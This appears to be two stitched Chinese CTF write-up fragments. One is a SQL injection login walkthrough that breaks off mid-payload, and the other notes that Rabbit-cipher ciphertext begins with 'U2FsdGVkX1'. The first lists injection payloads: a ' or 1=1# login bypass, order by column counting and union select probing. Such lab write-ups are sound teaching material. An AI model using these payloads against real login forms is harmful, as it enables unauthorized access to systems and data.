打开环境是一个登入页面， 题目提示：最简单的SQL注入，那么先试一试万能密码登入' or 1=1#密码随便输存在回显，直接sql注入' or 1=1 order by 3#正常回显，爆到4时不回显' or 1=1 order by 4#开始爆库名 ,先看看是哪个位置会回显' or 1=1 union select 1,2,3#发现是可以不用输密码的' or 1=1 union select 1,d

学习关于Rabbit加密的密文特征AES、DES、RC4、Rabbit、Triple DES（3DES）这些算法都可以引入密钥，密文特征与Base64类似，明显区别是秘文里​​+​​​比较多，并且经常出现​​/​​且Rabbit开头部分通常为U2FsdGVkX1题目给了一串密文直接解密 解密网站包上ｆｌａｇ就能提交了...